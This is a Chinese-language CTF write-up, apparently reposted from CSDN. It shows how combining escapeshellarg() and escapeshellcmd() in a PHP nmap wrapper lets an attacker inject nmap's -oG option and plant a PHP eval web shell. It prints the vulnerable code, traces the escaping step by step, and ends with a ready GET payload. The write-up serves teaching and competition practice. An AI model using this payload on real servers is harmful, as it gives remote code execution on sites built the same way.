文章目錄
- 利用點
- 代碼審計
- 解題
- nmap寫檔案
- escapeshellarg() + escapeshellcmd()使用不當
- Payload
- 完
利用點
- nmap寫檔案
- escapeshellarg() + escapeshellcmd()使用不當
代碼審計
<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}
if(!isset($_GET['host'])) {
highlight_file(__FILE__);
} else {
$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}
傳入的GET引數$host經過escapeshellarg和escapeshellcmd處理,然后拼接到已有的nmap指令執行
解題
nmap寫檔案
escape轉義了特殊符號,這步是不能跳出來的,只能寄希望于nmap;查閱help檔案發現nmap有output寫檔案的功能,那么就可以寫入一句話木馬來RCE


可以通過-oN和-oG引數寫入檔案
nmap '<?php eval($_POST[a]);?>' -oN 1.php

那就先試試-oN
escapeshellarg() + escapeshellcmd()使用不當
起一個本地環境
<?php
show_source(__FILE__);
$cmd = $_GET["cmd"];
echo '</br>';
echo $cmd;
$cmd = escapeshellarg($cmd);
echo '</br>';
echo $cmd;
$cmd = escapeshellcmd($cmd);
echo '</br>';
echo $cmd;
echo '</br>';
echo "nmap -T5 -sT -Pn --host-timeout 2 -F ".$cmd;
直接傳入'<?php eval($_POST[a]);?>' -oN 1.php
[GET]http://URL/escape.php?cmd='<?php eval($_POST[a]);?>' -oN 1.php
'' -oN 1.php
''\'''\'' -oN 1.php'
''\\''\<\?php eval\(\$_POST\[a\]\)\;\?\>'\\'' -oN 1.php'
nmap -T5 -sT -Pn --host-timeout 2 -F ''\\''\<\?php eval\(\$_POST\[a\]\)\;\?\>'\\'' -oN 1.php'
執行的命令可以簡化為:
nmap \ <?php eval($_POST[a]); ?>'\\'' -oN 1.php'
可以看見兩個由于兩個函式依次處理,會造成后部有引號殘留問題導致命令被截斷
PHP escapeshellarg()+escapeshellcmd() 之殤
那么我們將引號從-oN之前轉移到最后,即傳入'<?php eval($_POST[a]);?> -oN 1.php'
[GET]http://URL/escape.php?cmd='<?php eval($_POST[a]);?> -oN 1.php'
' -oN 1.php'
''\'' -oN 1.php'\'''
''\\'' \<\?php eval\(\$_POST\[a\]\)\;\?\> -oN 1.php'\\'''
nmap -T5 -sT -Pn --host-timeout 2 -F ''\\'' \<\?php eval\(\$_POST\[a\]\)\;\?\> -oN 1.php'\\'''
相當于直接運行:
nmap \\ \<\?php eval\(\$_POST\[a\]\)\;\?\> -oN 1.php'\\'
但是,這一步出錯了,在于寫檔案名把最后的斜杠寫進去了

那么我們只要在末尾引號前加一個空格即可:傳入'<?php eval($_POST[a]);?> -oN 1.php ',目的是截斷引號
[GET]http://URL/escape.php?cmd='<?php eval($_POST[a]);?> -oN 1.php '
' -oN 1.php '
''\'' -oN 1.php '\'''
''\\''\<\?php eval\(\$_POST\[a\]\)\;\?\> -oN 1.php '\\'''
nmap -T5 -sT -Pn --host-timeout 2 -F ''\\''\<\?php eval\(\$_POST\[a\]\)\;\?\> -oN 1.php '\\'''
相當于直接運行:
nmap \\ \<\?php eval\(\$_POST\[a\]\)\;\?\> -oN 1.php '\\'
這里的檔案名就正常了

上傳后提示出錯,應該是由于-oN寫入了所有提示資訊,因此寫入無效的句點

這些無效的句點被PHP決議了所以出錯了

那么我們換成-oG引數,我們可以看一下兩個引數寫入的區別:

使用-oG的內容沒有報錯資訊,那么寫入的一句話木馬就是完整且不會決議出錯的,因此我們傳入'<?php eval($_POST[a]);?> -oG 1.php ',蟻劍連接即可

Payload
[GET]http://URL/?host='<?php eval($_POST[a]);?> -oG 1.php '
完
歡迎在評論區留言,歡迎關注我的CSDN @Ho1aAs
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/336166.html
標籤:其他
下一篇:什么是多租戶saas架構設計
